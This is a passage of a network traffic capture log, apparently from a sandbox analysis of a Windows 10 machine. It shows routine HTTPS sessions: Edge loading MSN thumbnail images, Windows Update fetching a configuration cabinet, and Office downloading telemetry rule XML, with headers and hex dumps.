2024-11-22 16:09:15 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=171293 Expires: Sun, 24 Nov 2024 15:44:07 GMT Date: Fri, 22 Nov 2024 16:09:14 GMT Connection: close
2024-11-22 16:09:15 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.10	49831	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:16 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:16 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=170163 Expires: Sun, 24 Nov 2024 15:25:19 GMT Date: Fri, 22 Nov 2024 16:09:16 GMT Connection: close
2024-11-22 16:09:16 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.10	49833	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:18 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:18 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 05:16:37 GMT X-Source-Length: 62552 X-Datacenter: eastus X-ActivityId: b6de683a-38cf-4a4e-bd01-aa1a6ca52471 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=176937 Expires: Sun, 24 Nov 2024 17:18:15 GMT Date: Fri, 22 Nov 2024 16:09:18 GMT Connection: close
2024-11-22 16:09:18 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.10	49834	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:20 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:20 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 29 Oct 2024 19:03:22 GMT X-Source-Length: 95457 X-Datacenter: westus X-ActivityId: 155cd87c-435f-4d80-bfaf-3f0e9ec39163 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=313183 Expires: Tue, 26 Nov 2024 07:09:03 GMT Date: Fri, 22 Nov 2024 16:09:20 GMT Connection: close
2024-11-22 16:09:20 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.10	49835	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:21 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NBpaY9u4MAKaRFe&MD=dGLnu6cB HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 16:09:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 6aee7b1e-a771-49ab-b254-efc49e5aca57 MS-RequestId: fcc68adb-4379-45ed-ae0d-367c5e95ec1f MS-CV: hmI6vyi9c0eEbTGr.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 16:09:20 GMT Connection: close Content-Length: 30005
2024-11-22 16:09:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-22 16:09:22 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.10	49836	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:21 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:22 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=181783 Expires: Sun, 24 Nov 2024 18:39:05 GMT Date: Fri, 22 Nov 2024 16:09:22 GMT Connection: close
2024-11-22 16:09:22 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.10	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:38 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:39 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:38 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 21 Nov 2024 12:25:08 GMT ETag: "0x8DD0A27899CAFB6" x-ms-request-id: 0e3600b6-201e-0096-7125-3cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160938Z-178bfbc474bp8mkvhC1NYCzqnn000000030g00000000fyyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:39 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-22 16:09:39 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
